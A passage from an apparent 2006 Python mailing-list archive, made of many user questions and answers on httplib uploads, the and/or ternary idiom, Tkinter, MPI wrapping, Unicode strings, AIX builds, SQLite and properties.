you can really see it in those genitals." -- Jack | _o__) Handey | Ben Finney From sjdevnull at yahoo.com Mon Oct 9 17:15:04 2006 From: sjdevnull at yahoo.com (sjdevnull at yahoo.com) Date: 9 Oct 2006 14:15:04 -0700 Subject: Python component model In-Reply-To: <1FyWg.7185$Y24.219@newsread4.news.pas.earthlink.net> References: <452AA71E.1010000@hotmail.com> <1FyWg.7185$Y24.219@newsread4.news.pas.earthlink.net> Message-ID: <1160428504.374553.51070@i42g2000cwa.googlegroups.com> Edward Diener No Spam wrote: > Chaz Ginger wrote: > > Why not propose something. That is the easiest way to get things moving. > > How does one do that ? Propose something here on this NG or is there > some other official way ? Come up with a specification, with examples. Ideally have working code. Post here to get some initial feedback, if things look like they're worth pushing forward after that then write a PEP: http://www.python.org/dev/peps/pep-0001/ From jnoller at gmail.com Mon Oct 2 13:35:28 2006 From: jnoller at gmail.com (Jesse Noller) Date: Mon, 2 Oct 2006 13:35:28 -0400 Subject: httplib and large file uploads Message-ID: <4222a8490610021035j28ddc198kfb60fa43b30a5ce9@mail.gmail.com> Hey All, I'm working on an script that will generate a file of N size (where N is 1k-1gig) in small chunks, in memory (and hash the data on the fly) and pass it to an httplib object for upload. I don't want to store the file on the disk, or completely in memory at any time. The problem arises after getting the http connection (PUT) - and then trying to figure out how to iterate/hand the chunks I am generating to the httplib connection's send() call. For example (this code does not work as is): chunksize = 1024 size = 10024 http = httplib.HTTP(url, '80') http.putrequest("PUT", save_url) http.putheader("Content-Length", str(size)) http.endheaders() for i in xrange(size / chunksize): chunk = ur.read(chunksize) http.send(chunk) errcode, errmsg, headers = http.getreply() http.close() In this case, "ur" is a file handle pointing to /dev/urandom. Obviously, the problem lies in the multiple send(chunk) calls. I'm wondering if it is possible to hand http.send() an iterator/generator which can pass chunks in as needed. Thanks in advance, -jesse -------------- next part -------------- An HTML attachment was scrubbed... URL: From chris.cavalaria at free.fr Tue Oct 17 11:01:24 2006 From: chris.cavalaria at free.fr (Christophe) Date: Tue, 17 Oct 2006 17:01:24 +0200 Subject: Tertiary Operation In-Reply-To: <1161091832.088769.279630@b28g2000cwb.googlegroups.com> References: <1161091832.088769.279630@b28g2000cwb.googlegroups.com> Message-ID: <4534f044$0$8678$426a74cc@news.free.fr> abcd a ?crit : > x = None > result = (x is None and "" or str(x)) > > print result, type(result) > > --------------- > OUTPUT > --------------- > None > > > y = 5 > result = (y is 5 and "it's five" or "it's not five") > > print result > > ------------- > OUTPUT > ------------- > it's five > > ...what's wrong with the first operation I did with x? I was expecting > "result" to be an empty string, not the str value of None. > the " and or " is NOT a ternary operator but an ugly hack that breaks in some situations. It just happens that you stumbled on one of those situations : must never evaluate as False. Please, do not use that ugly hack anymore and do a proper if block. Or use Python 2.5 with the official ternary operator ;) From fredrik at pythonware.com Mon Oct 9 05:18:37 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 9 Oct 2006 11:18:37 +0200 Subject: Tkinter: Making a window disappear References: <1160384553.312778.275170@b28g2000cwb.googlegroups.com> Message-ID: Claus Tondering wrote: >I am trying to make a Tkinter main window appear and disappear, but I > have problems with that. > > Here is a small code sample: > > class MyDialog(Frame): > def __init__(self): > Frame.__init__(self, None) > Label(self, text="Hello").pack() > Button(self, text="OK", command=self.ok).pack() > self.grid() > > def ok(self): > self.destroy() > self.quit() > > MyDialog().mainloop() > print "Now waiting 5 seconds" > time.sleep(5) > MyDialog().mainloop() > > The first mainloop() shows the dialog nicely, and I press the "OK" > button. The system then sleeps for 5 seconds, and a new dialog is > displayed. This is all very nice. > > But during the 5 seconds of sleeping, remnants of the old window are > still visible. It is not redrawn, but it just lies there as an ugly box > on the display. I thought that destroy()/quit() would completely remove > the window, but obviously I am wrong. your program can (quite obviously) not process any events when it's stuck inside time.sleep(). adding a call to self.update() before you quit the event loop should do the trick: def ok(self): self.destroy() self.update() # process all queued events self.quit() From DustanGroups at gmail.com Fri Oct 20 18:49:00 2006 From: DustanGroups at gmail.com (Dustan) Date: 20 Oct 2006 15:49:00 -0700 Subject: Inheriting property functions In-Reply-To: <1161383286.543397.46700@m73g2000cwd.googlegroups.com> References: <1161383286.543397.46700@m73g2000cwd.googlegroups.com> Message-ID: <1161384540.703733.59910@m7g2000cwm.googlegroups.com> Dustan wrote: > Looking at this interactive session: > > >>> class A(object): > def __init__(self, a): > self.a = a > def get_a(self): return self.__a > def set_a(self, new_a): self.__a = new_a > a = property(get_a, set_a) > > > >>> class B(A): > b = property(get_a, set_a) > > > Traceback (most recent call last): > File "", line 1, in > class B(A): > File "", line 2, in B > b = property(get_a, set_a) > NameError: name 'get_a' is not defined > >>> class B(A): > b = a > > > Traceback (most recent call last): > File "", line 1, in > class B(A): > File "", line 2, in B > b = a > NameError: name 'a' is not defined > >>> > > B isn't recognizing its inheritence of A's methods get_a and set_a > during creation. > > Why am I doing this? For an object of type B, it makes more sense to > reference the attribute 'b' than it does to reference the attribute > 'a', even though they are the same, in terms of readability. Clarification: The code given is obviously not the actual code. I doubt it would really make a difference in types A and B given here, but for what I'm actually doing, it makes a big difference. > Is there any way to make this work as intended? From f.braennstroem at gmx.de Mon Oct 9 16:06:27 2006 From: f.braennstroem at gmx.de (Fabian Braennstroem) Date: Mon, 9 Oct 2006 22:06:27 +0200 Subject: change directory when closing curses program Message-ID: Hi, I am using lfm, a curses based file manager, and want to change into the last directory of my lfm-session after closing it. To be more clear: 1) run lfm from console in the home directory ~ 2) move to ~/something 3) close lfm 4) be in ~/something on the console Is that possible in any way? lfm uses a bash-function for this purpose , which does not work in tcsh ... :-( Greetings! Fabian From dfj225 at gmail.com Thu Oct 19 09:51:00 2006 From: dfj225 at gmail.com (dfj225 at gmail.com) Date: 19 Oct 2006 06:51:00 -0700 Subject: Python with MPI enable C-module Message-ID: <1161265860.684651.91210@k70g2000cwa.googlegroups.com> Hello All, A software project that I am working on currently has a C++ library that runs on a Beowulf cluster for parallel computation. The library code uses MPI for its implementation. We are currently developing python wrappers for the library. Our current design uses one Python process as a front end with processes created from the library code on the back end (it is processes of this type that run on all the nodes of the cluster). What I'm considering is delving into the possibility of having Python processes on all of the nodes of the cluster. These processes would wrap our C++ library. What I'm wondering is: 1) Would setting up an environment like this require modifying the Python interpreter or the C++ module that is being wrapped? What I'm hoping is that the C++ module can go on happily doing MPI operations despite the fact that it is actually being called by the Python interpreter. 2) Would it be possible to spawn these Python processes using mpiexec (or something similar), or would I need to use some of the MPI-2 features to dynamically set up the MPI environment? 3) Has anyone accomplished something like this already? I know there are extensions and modules that add MPI functionality to Python, but I'm hoping they could be avoided, since the Python code itself should never really have to be aware of MPI, only the C++ module that has already been written. Let me apologize up front if this has already been discussed before. I've done a few searches in this group and it seems that most of the discussion on this front took place many years ago, so the relevance is quite low. Thank you in advance for your attention. ~doug From luc.saffre at gmail.com Mon Oct 23 05:28:34 2006 From: luc.saffre at gmail.com (luc.saffre at gmail.com) Date: 23 Oct 2006 02:28:34 -0700 Subject: comparing Unicode and string In-Reply-To: References: <1161005167.295259.290800@m7g2000cwm.googlegroups.com> <1161281095.174018.223790@f16g2000cwb.googlegroups.com> Message-ID: <1161595714.342067.51350@e3g2000cwe.googlegroups.com> I didn't mean that the *assignment* should raise exception. I mean that any string constant that cannot be decoded using sys.getdefaultencoding() should be considered a kind of syntax error. I agree of course with the argument of backward compatibility, which means that my suggestion is for Python 3.0, not earlier. And I admit that my suggestion lacks a solution for Neil Cerutti's use of non-decodable simple strings. And I admit that there are certainly more competent people than me to think about this question. I just wanted to throw my penny into the pond :-) Luc Fredrik Lundh wrote: > luc.saffre at gmail.com wrote: > > > Suggestion: shouldn't an error raise already when I try to assign s2? > > variables are not typed in Python. plain assignment will never raise an > exception. > > From fredrik at pythonware.com Sun Oct 29 03:22:17 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 29 Oct 2006 09:22:17 +0100 Subject: random module In-Reply-To: <187d38240610282210l2b73c838q8def1be5ca2cea7d@mail.gmail.com> References: <187d38240610282210l2b73c838q8def1be5ca2cea7d@mail.gmail.com> Message-ID: Moishy Gluck wrote: > I am using the random module to generate a session tracker. I use this > code to generate a random number "random.random() * 10000000000000000" > The session is stored in a mysql database under the field session_id. > The problem is when I try to submit the random number into my database I > get this error > > *IntegrityError*: (1062, "Duplicate entry '2147483647' for key 1") > args = (1062, "Duplicate entry '2147483647' for key 1") > > With the same number every time. The number being 2147483647. Does > eneyone know what the problem is. 2147483647 is the largest integer that can be stored in a 32-bit signed integer field. what data type are you using for the session_id type? From duncan.booth at invalid.invalid Tue Oct 3 07:54:18 2006 From: duncan.booth at invalid.invalid (Duncan Booth) Date: 3 Oct 2006 11:54:18 GMT Subject: Raw strings and escaping References: Message-ID: Jon Ribbens wrote: > I presume there was originally some reason for this bizarre behaviour > - it'd be interesting to know what it is/was, if anyone knows? > See the FAQ for the explanation: http://www.python.org/doc/faq/general/#why-can-t-raw-strings-r-strings-end-with-a-backslash The idea is that if you use raw strings for regular expressions you can write things like: pattern = r'[\'"]' if the raw string simply ignored the backslash altogether it would be much harder to write regular expressions that contain both sorts of quotes. From paul at boddie.org.uk Fri Oct 6 05:45:27 2006 From: paul at boddie.org.uk (Paul Boddie) Date: 6 Oct 2006 02:45:27 -0700 Subject: Request for recommendations: shared database without a server References: <1160077602.190028.286290@h48g2000cwc.googlegroups.com> Message-ID: <1160127926.976419.61370@m73g2000cwd.googlegroups.com> EP wrote: > [Client-only application with shared storage and concurrent access] > Can I get there with MySQL? Or do I need to pair a pure python > approach (including the database) with py2exe? Has anyone achieved > this with a db framework like Dabo? Or is there another, entirely > different and better approach? One of the features of SQLite version 3 is supposedly the possibility of having multiple processes safely access an SQLite database: http://www.sqlite.org/faq.html#q7 Unfortunately, networked storage may not be supported to any level acceptable for your application. Paul From pruebauno at latinmail.com Thu Oct 26 16:51:24 2006 From: pruebauno at latinmail.com (pruebauno at latinmail.com) Date: 26 Oct 2006 13:51:24 -0700 Subject: compiling on AIX 5.3 with vacpp Message-ID: <1161895884.160561.308020@e3g2000cwe.googlegroups.com> I am trying to compile Python 2.5 on AIX 5.3. I used export PATH=/usr/bin:/usr/vacpp/bin OPT=-O2 ./configure --with-gcc="xlc_r -q64" --with-cxx="xlC_r -q64" --disable-ipv6 AR="ar -X64" make The following error stops make in its track: building '_locale' extension ./Modules/ld_so_aix xlc_r -q64 -bI:Modules/python.exp build/temp.aix-5.3-2.5/home/pxadm/.test/Python-2.5/Modules/_localemodule.o -L/usr/local/lib -o build/lib.aix-5.3-2.5/_locale.so ld: 0711-317 ERROR: Undefined symbol: .bindtextdomain ld: 0711-317 ERROR: Undefined symbol: .textdomain ld: 0711-317 ERROR: Undefined symbol: .dcgettext ld: 0711-317 ERROR: Undefined symbol: .dgettext ld: 0711-317 ERROR: Undefined symbol: .gettext ld: 0711-345 Use the -bloadmap or -bnoquiet option to obtain more information. *** WARNING: renaming "_locale" since importing it failed: 0509-022 Cannot load module build/lib.aix-5.3-2.5. 0509-026 System error: A file or directory in the path name does not exist. error: No such file or directory make: 1254-004 The error code from the last command is 1. Stop. > Any help appreciated as to explain what that error could mean and possible ways of fixing it. From carsten at uniqsys.com Tue Oct 17 09:43:43 2006 From: carsten at uniqsys.com (Carsten Haese) Date: Tue, 17 Oct 2006 09:43:43 -0400 Subject: Tertiary Operation In-Reply-To: <1161091832.088769.279630@b28g2000cwb.googlegroups.com> References: <1161091832.088769.279630@b28g2000cwb.googlegroups.com> Message-ID: <1161092623.9902.14.camel@dot.uniqsys.com> On Tue, 2006-10-17 at 09:30, abcd wrote: > x = None > result = (x is None and "" or str(x)) > > print result, type(result) > > --------------- > OUTPUT > --------------- > None The "condition and result1 or result2" trick only works if result1 is an expression with a True boolean value. The empty string has a false boolean value. You could force result1 to have a true boolean value by sticking it into a list thusly: result = (x is None and [""] or [str(x)])[0] But that's ugly. Use Python 2.5 where there is a true conditional expression or find another way to solve your problem. -Carsten From johnjsal at NOSPAMgmail.com Mon Oct 30 11:38:10 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Mon, 30 Oct 2006 16:38:10 GMT Subject: checking if a sqlite connection and/or cursor is still open? Message-ID: Is there a way to check if a SQLite connection and cursor object are still open? I took a look at the docs and the DB API but didn't see anything like this. Thanks. From bignose+hates-spam at benfinney.id.au Wed Oct 18 22:30:40 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Thu, 19 Oct 2006 12:30:40 +1000 Subject: Corner cases (was: Converting existing module/objects to threads) References: <1161219746.574285.188930@m7g2000cwm.googlegroups.com> Message-ID: <87mz7tyr3j.fsf@benfinney.id.au> "jdlists at gmail.com" writes: > So an instance of a controller needs to be deadicated to a hardware > device forever, or until the program ends....which ever comes first. I hope you've got tests in place for both of those conditions :-) -- \ "How many people here have telekenetic powers? Raise my hand." | `\ -- Emo Philips | _o__) | Ben Finney From gagsl-py at yahoo.com.ar Thu Oct 5 20:34:01 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Thu, 05 Oct 2006 21:34:01 -0300 Subject: MIMEMultipart() and CRLF vs RFC 2046 In-Reply-To: References: Message-ID: <7.0.1.0.0.20061005212123.0463f260@yahoo.com.ar> At Thursday 5/10/2006 18:52, alf wrote: >according to rfc2046, line breaks in MIME are CRLF. However python just >uses LF like in the following example: The comments inside generator.py say CRLF everywhere, but the code simply uses print >>f You should file a bug report at http://sourceforge.net/tracker/?group_id=5470 Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From fredrik at pythonware.com Sat Oct 28 03:59:29 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sat, 28 Oct 2006 09:59:29 +0200 Subject: Where do nested functions live? In-Reply-To: References: Message-ID: Steven D'Aprano wrote: > I defined a nested function: > > def foo(): > def bar(): > return "bar" > return "foo " + bar() > > which works. Knowing how Python loves namespaces, I thought I could do > this: > >>>> foo.bar() > Traceback (most recent call last): > File "", line 1, in ? > AttributeError: 'function' object has no attribute 'bar' > > but it doesn't work as I expected. > > where do nested functions live? in the local variable of an executing function, just like the variable "bar" in the following function: def foo(): bar = "who am I? where do I live?" (yes, an inner function is *created* every time you execute the outer function. but it's created from prefabricated parts, so that's not a very expensive process). From gagsl-py at yahoo.com.ar Fri Oct 27 16:00:30 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Fri, 27 Oct 2006 17:00:30 -0300 Subject: Optional Parameter Requirements In-Reply-To: <1161977744.737937.56400@i42g2000cwa.googlegroups.com> References: <1161977744.737937.56400@i42g2000cwa.googlegroups.com> Message-ID: <7.0.1.0.0.20061027165612.03d3ca08@yahoo.com.ar> At Friday 27/10/2006 16:35, dhable at gmail.com wrote: >If I'm building a function to accept optional parameters, do I need to >allow for the capture of both the positional arguments as well as the >keyword arguments? If it doesn't make sense to allow keyword arguments, >can I just write: > >def myfunc(a, b, *tup): > ... > >and be done with it? Just try and see if it works. http://docs.python.org/tut/node6.html#SECTION006730000000000000000 -- Gabriel Genellina Softlab SRL __________________________________________________ Correo Yahoo! Espacio para todos tus mensajes, antivirus y antispam ?gratis! ?Abr? tu cuenta ya! - http://correo.yahoo.com.ar From http Sun Oct 22 21:11:24 2006 From: http (Paul Rubin) Date: 22 Oct 2006 18:11:24 -0700 Subject: Arrays? (Or lists if you prefer) References: <1161565656.906572.209750@f16g2000cwb.googlegroups.com> Message-ID: <7xlkn725vn.fsf@ruckus.brouhaha.com> "Hakusa at gmail.com" writes: > Way to do SIMPLE array, either internally or externally, with Python, Maybe you want to use a dictionary: a = {} a[(3,5)] = 2 From chrispearl at gmail.com Tue Oct 31 07:09:36 2006 From: chrispearl at gmail.com (Chris Pearl) Date: Tue, 31 Oct 2006 14:09:36 +0200 Subject: Python tools for managing static websites? Message-ID: Are there Python tools to help webmasters manage static websites? I'm talking about regenerating an entire static website - all the HTML files in their appropriate directories and sub-directories. Each page has some fixed parts (navigation menu, header, footer) and some changing parts (body content, though in specific cases the normally fixed parts might change as well). The tool should help to keep site editing DRY every piece of data, including the recurring parts, should exist only once. The above should be doable with any decent templating tool, such as those forming part of most CMSes and full-stack web-frameworks. Normally I might have just resorted to a CMS/web-framework, running locally on the webmaster's station, with the only addition being a mechanism for generating all pages composing the site and saving them as files. But such a solution might not be enough, as the system I'm looking for must be able to control the physical traits of the website as a collection of files - e.g., creation and distribution of files among several physical directories and subdirectories. Any advice would be appreciated, -Chris From vasudevram at gmail.com Fri Oct 27 14:07:06 2006 From: vasudevram at gmail.com (vasudevram) Date: 27 Oct 2006 11:07:06 -0700 Subject: Using xtopdf, a PDF creation toolkit - Creating PDF Output from Plain Text, DBF, CSV, TDV, and XLS Data Message-ID: <1161972426.551144.134070@b28g2000cwb.googlegroups.com> Hi, Though I posted about this article earlier, reposting it with a more appropriate title, to make it easier for searches. "Using xtopdf, a PDF creation toolkit" URL: http://www.packtpub.com/article/Using_xtopdf This is an article by me, written for Packt Publishing, about how to use my xtopdf toolkit to create PDF from text, DBF, TDV, CSV and XLS data. xtopdf is available at http://www.dancingbison.com/products.html . Enjoy, and feel free to give your feedback on wanted features, bugs, etc. in xtopdf - its appreciated. Vasudev Ram ~~~~~~~~~~~~~~~~~~~~~~ Software consulting and training Dancing Bison Enterprises http://www.dancingbison.com "Now creating PDFs from Python is even easier" - Steve Holden http://del.icio.us/steve.holden/pdf ~~~~~~~~~~~~~~~~~~~~~~ From kjellmf at gmail.com Sun Oct 22 15:44:27 2006 From: kjellmf at gmail.com (Kjell Magne Fauske) Date: 22 Oct 2006 12:44:27 -0700 Subject: Python and CMS References: Message-ID: <1161546267.578778.35260@h48g2000cwc.googlegroups.com> I recommend taking a look at Django [1]. It is not a CMS right out of the box, but writing one using the Django framework is not that difficult. [1] http://www.djangoproject.com/ - Kjell Magne Fauske Echo wrote: > I am going to start working on a church website. And since I like > python, I decided to use WSGI. However, I later found out about all > the different CMS's in php. So I wondered if there where any in > python. > > Sadly, I only found Plone, skeletonz, and PyLucid (If there is any > more, please let me know). Of those three, only PyLucid supports WSGI > and it didn't look very nice to me. > Both Plone and skeletonz looked very nice. However, they can't be > hosted on a regular web host(at least to my knowledge) since they run > as the web server themselves. So hosting would cost more, at least 2-3 > times more from what I've seen. > > So I'm thinking of making a python CMS based on WSGI. I'm now trying > to figure out a few things like the best way to store the content and > how to manage/use plugins. For storing the content, the only ways I > know of are as files or in a database. But I'm not sure what would be > better. And as for how to do plugings, I plan on looking at Plone and > skeletonz. > > As for working with WSGI, I have found > Colubrid(http://wsgiarea.pocoo.org/colubrid/) and > Paste(http://pythonpaste.org/). I was wondering if anyone knew of any > other libraries that make working with WSGI easier. Also, I wondering > if anyone would like to share their experiences of working with those. > > > ps. I know that this is a big and complicated project. But no matter > how far I get, it will be fun because its Python:) > > -- > "Now that I am a Christian I do not have moods in which the whole > thing looks very improbable: but when I was an atheist I had moods in > which Christianity looked terribly probable." > -C. S. Lewis > > -Echo From grahn+nntp at snipabacken.dyndns.org Mon Oct 2 11:26:48 2006 From: grahn+nntp at snipabacken.dyndns.org (Jorgen Grahn) Date: 2 Oct 2006 15:26:48 GMT Subject: How can I correct an error in an old post? References: <1159723139.638984.293300@h48g2000cwc.googlegroups.com> Message-ID: On 1 Oct 2006 10:18:59 -0700, barakad at gmail.com wrote: ... > and I wish to add my findings to the post, to prevent others from > taking the wrong path. > When I tried to replay to the post I received a reject message stating > that it is impossible to replay to the topic since it is old and was > closed by a manager. That's through the Google Groups Usenet interface, right? Because on Usenet, that's misleading at best -- we have no managers, and noone can "close a topic". (It's alright for them to add this extra limitation, of course.) > The question is how can I add this correction? In Usenet terms, make a posting with a References: header which mentions the Message-ID of the bad posting (just like this posting references yours, if you look closely at the headers). That's easier if the posting hasn't already expired on your server, but by no means impossible if it has. /Jorgen -- // Jorgen Grahn R'lyeh wgah'nagl fhtagn! From ath-admin at vt.edu Fri Oct 20 08:17:48 2006 From: ath-admin at vt.edu (rick) Date: Fri, 20 Oct 2006 08:17:48 -0400 Subject: invert or reverse a string... warning this is a rant In-Reply-To: References: <7iNZg.117$1n3.3352@news.tufts.edu> Message-ID: Fredrik Lundh wrote: > "Brad" wrote: > >> Do you have children? How would your child feel if he brought you >> something he had made and you then told him it was awful in *sooo* many >> ways. > > If you're arguing that everything a child does and says should be rewarded... I'm not arguing that. Only that one should be polite and considerate when giving advice. That's all. foo[::-1] is acceptable. So is the helper function that you posted: > def reverse(s): > return s[::-1] My 2 min hack is awful to some, and I'm OK with that and fully expect it. But it works OK for me. Is there not room for solutions such as this in Python? No hard feelings. Let's close this thread. I'll accept the slicing and memorize it. Thanks guys. From MonkeeSage at gmail.com Sun Oct 1 18:55:38 2006 From: MonkeeSage at gmail.com (MonkeeSage) Date: 1 Oct 2006 15:55:38 -0700 Subject: The Python world tries to be polite [formerly offensive to another language] References: <1159188351.960448.43660@d34g2000cwd.googlegroups.com> <1159555450.721085.51710@h48g2000cwc.googlegroups.com> <1159601820.592847.42160@i3g2000cwc.googlegroups.com> <_vidnZxCbMF-NYPYnZ2dnUVZ_qqdnZ2d@speakeasy.net> <1159730965.869927.322910@h48g2000cwc.googlegroups.com> Message-ID: <1159743338.577830.177290@i42g2000cwa.googlegroups.com> Ant wrote: > Don't think so, I followed the thread along a little, and it seems to > be correct. In addition, they seem to have the ? character as the Perl > 6 equivalent of zip(). Those crazy guys. Yup, I don't think it was a joke either; there are several other "hyper" operators already in pugs: http://svn.openfoundry.org/pugs/src/Pugs/Parser/Operator.hs (see tests: http://svn.openfoundry.org/pugs/t/operators/hyper.t ). Regards, Jordan From klachemin at comcast.net Sat Oct 21 12:22:40 2006 From: klachemin at comcast.net (Kamilche) Date: 21 Oct 2006 09:22:40 -0700 Subject: Detect Unused Modules In-Reply-To: References: <1161385707.141179.174310@b28g2000cwb.googlegroups.com> Message-ID: <1161447760.933815.263270@m73g2000cwd.googlegroups.com> > Nice as it is, but why not use pylint to check this and many other > coding style issues? I made this the first time I mangled some code because pychecker said some modules were not used when they really were. The module wasn't that complex, only 302 lines, but it got it wrong. From odalrick at hotmail.com Mon Oct 23 19:28:06 2006 From: odalrick at hotmail.com (Odalrick) Date: 23 Oct 2006 16:28:06 -0700 Subject: Trouble with property Message-ID: <1161646086.830038.51080@m7g2000cwm.googlegroups.com> I'm having some trouble with using property. This class is supposed to represent a rectangle that can never be outside an area. I'll snip the parts I don't think are relevant. Or should I? I dunno. class ConstrainedBox: def __init__( self, size, ratio ): # Various instance variables initialized self.reset( size ) def reset( self, size ): self._width, self._height = size self._height_defining_dimension = self._width > self._height * self.ratio make_log( ' _height_defining_dimension =' + str( self._height_defining_dimension ) ) if self._height_defining_dimension: self._max_linear_size = self._height # This, and the corresponding line in the else clause is what is causing trouble. # self.linear_size is, as far as I can tell, the property I define last in the class # If I replace it with _set_linear_size, which it is supposed to call, everything works self.linear_size = self._height # else: self._max_linear_size = self._width self.linear_size = self._width self.center_box( self._width / 2, self._height / 2 ) # Lots of methods snipped def _set_linear_size( self, value ): if value >= self._min_linear_size: if value <= self._max_linear_size: self._linear_size = value else: self._linear_size = self._max_linear_size else: self._linear_size = self._min_linear_size self._scale_box() # Some more snippage # The property that is causing grief linear_size = property( _get_linear_size, _set_linear_size ) rectangle = property( _get_rectangle ) centre = property( _get_centre, _set_centre ) By adding some logging I found out that _set_linear_size never is called, so the rectangle remains the default size forever. /Oldarick From fulvio at tm.net.my Fri Oct 27 09:51:21 2006 From: fulvio at tm.net.my (Fulvio) Date: Fri, 27 Oct 2006 21:51:21 +0800 Subject: Configfile Message-ID: <200610272151.22206.fulvio@tm.net.my> *********************** Your mail has been scanned by InterScan MSS. *********************** HI, I've a small doubt regarding the way to save a configuration file on the file manipulated by ConfigParser. As far as I could understand this: cp = ConfigParser.ConfigParser cp.set(section,option) will it do the set on the file or do I have to issue a "cp.write(fp)" in order to get it done? My tests didn't resulted positively. F From jonas.esp at googlemail.com Sat Oct 28 06:41:39 2006 From: jonas.esp at googlemail.com (MindClass) Date: 28 Oct 2006 03:41:39 -0700 Subject: Import if condition is correct In-Reply-To: References: <1162031606.988480.131330@k70g2000cwa.googlegroups.com> Message-ID: <1162032099.393489.321290@e3g2000cwe.googlegroups.com> Georg Brandl wrote: > MindClass wrote: > > Is possible import a library according to a condition? > > > > if Foo == True: > > import bar > > > > Why don't you try it? > I thinked that could be another way for import statement. In that case I'll have to set a global variable before of the import statements although I'd prefer not use them. From nospam at jollans.com Tue Oct 3 16:24:08 2006 From: nospam at jollans.com (Thomas Jollans) Date: Tue, 3 Oct 2006 22:24:08 +0200 Subject: array tofile fromfile tosocket? fromsocket? References: <1159896540.328282.242100@m7g2000cwm.googlegroups.com> Message-ID: On Tue, 03 Oct 2006 10:29:00 -0700, "SpreadTooThin" let this slip: > I was under the impression that a file and socket were interchangable > (like a file descriptor). Does anyone have an idea that might help me > minimize the impact on my code? are you looking for sockets' makefile method ? -- Thomas Jollans alias free-zombie From jweida at gmail.com Tue Oct 17 12:52:31 2006 From: jweida at gmail.com (Jerry) Date: 17 Oct 2006 09:52:31 -0700 Subject: Looking for assignement operator In-Reply-To: <45350884$0$3751$426a74cc@news.free.fr> References: <1161095199.354431.157660@e3g2000cwe.googlegroups.com> <4534edf4$0$24770$426a74cc@news.free.fr> <1161101280.999698.26520@i42g2000cwa.googlegroups.com> <45350884$0$3751$426a74cc@news.free.fr> Message-ID: <1161103950.938523.85770@i3g2000cwc.googlegroups.com> Okay, very well, then I put a couple of extra 'self' identifiers in there when I hand-copied the code over. That would be my mistake for letting my fingers do the walking and forgetting my brain. Is there anything else wrong with my code? -- Jerry From horpner at yahoo.com Wed Oct 18 08:13:04 2006 From: horpner at yahoo.com (Neil Cerutti) Date: 18 Oct 2006 14:13:04 +0200 Subject: codecs.EncodedFile Message-ID: Perhaps I'm just bad at searching for bugs, but anyhow, I wanted to know what you all thought about the following behavior. A quick search of pydev archives yielded a nice wrapper to apply to streams to perform decoding and encoding behind the scenes. Assuming I get the correct encodings from somewhere (that's a whole 'nother thread): Here's the docs: EncodedFile( file, input[, output[, errors]]) Return a wrapped version of file which provides transparent encoding translation. Strings written to the wrapped file are interpreted according to the given input encoding and then written to the original file as strings using the output encoding. The intermediate encoding will usually be Unicode but depends on the specified codecs. If output is not given, it defaults to input. errors may be given to define the error handling. It defaults to 'strict', which causes ValueError to be raised in case an encoding error occurs. Base on that, I wrote the following code at startup: sys.stdout = codecs.EncodedFile(sys.stdout, 'latin-1', 'cp437') sys.stdin = codecs.EncodedFile(sys.stdin, 'cp437', 'latin-1') Now my application never returns from its first call to sys.stdin.readline. It turns out to be troublesome for my case because the EncodedFile object translates calls to readline into calls to read. I believe it ought to raise a NotImplemented exception when readline is called. As it is it silently causes interactive applications to apparently hang forever, and breaks the line-buffering expectation of non-interactive applications. If raising the exception is too much to ask, then at least it should be documented better. -- Neil Cerutti The choir invites any member of the congregation who enjoys sinning to join the choir. --Church Bulletin Blooper From bignose+hates-spam at benfinney.id.au Tue Oct 24 08:40:22 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Tue, 24 Oct 2006 22:40:22 +1000 Subject: A py2exe like tool for Linux References: <83e8215e0610240527n786189d3o78987cd1cb4dd66d@mail.gmail.com> Message-ID: <87wt6pq43t.fsf@benfinney.id.au> "Paolo Pantaleo" writes: > Hi, > > is thre something like py2exe for Linux? I don't need to build a > standalone executable (most Linuxes have python instaled), but at > least I need to provide all the needed libraries togheter with my > source code, so users just need to download one file, and not several > libraries. Users of GNU/Linux expect, for the most part, to use their package manager to install software. so you want something that will turn your package into a package easily installed that way. Fortunately, 'setuptools' has a 'bdist_rpm' target. (Search for "Creating System Packages".) -- \ "You've got to think about big things while you're doing small | `\ things, so that all the small things go in the right | _o__) direction." -- Alvin Toffler | Ben Finney From fiepye at atlas.cz Sun Oct 29 03:37:58 2006 From: fiepye at atlas.cz (fiepye at atlas.cz) Date: Sun, 29 Oct 2006 09:37:58 +0100 Subject: Parallel OO programming in Python. Message-ID: <3a03faf224e84771b0fdac4cd1ed2954@atlas.cz> Hello. I am interested in parallel computing in Python. Except other modules I would like to use new modules for vector and matrix operations and scientific computing SciPy and NumPy. I have already installed LAPACK and BLAS libraries. It works well. For object oriented parallel programming in Python on a single machine I can use techniques such as Bulk Synchronous Parallelism (BSP) or Message Passing Interface (MPI). There are mentioned some modules and packages for Python on http://www.scipy.org/Topical_Software Article: Parallel and distributed programming. After reading prerequisites and limitations I thing that the following ones could be good for me: PyMPI Pypar MPI for Python But I can't distinguish which one brings fewer limitations, is efficient in application and will develop in future. My favorite is BSP, but I can't find a package for present SciPy and NumPy. Could anybody give me a recommendation, which way I should go. Thanks. Fie Pye --------------------------------------- M?me dal?? spot P.?tvrtn??ka. Pod?vejte se www.neuservis.cz From onurb at xiludom.gro Thu Oct 5 05:00:42 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Thu, 05 Oct 2006 11:00:42 +0200 Subject: Access to static members from inside a method decorator? In-Reply-To: <1159968945.192014.249380@k70g2000cwa.googlegroups.com> References: <1159968945.192014.249380@k70g2000cwa.googlegroups.com> Message-ID: <4524c9bb$0$23498$426a74cc@news.free.fr> glen.coates.bigworld at gmail.com wrote: > I'm developing a library at the moment that involves many classes, some > of which have "exposed" capabilities. I'm trying to design a nice > interface for both exposing those capabilities, and inspecting > instances to find out what capabilities they have. > > At the moment, I'm leaning towards a superclass (Exposed) that defines > a static method which is a decorator (expose) such that any derived > class can mark a method with @Exposed.expose and it will then be later > returned by getExposedMethods(), a la: > > class Exposed: > @staticmethod > def expose( f ): > ... > > def getExposedMethods( self 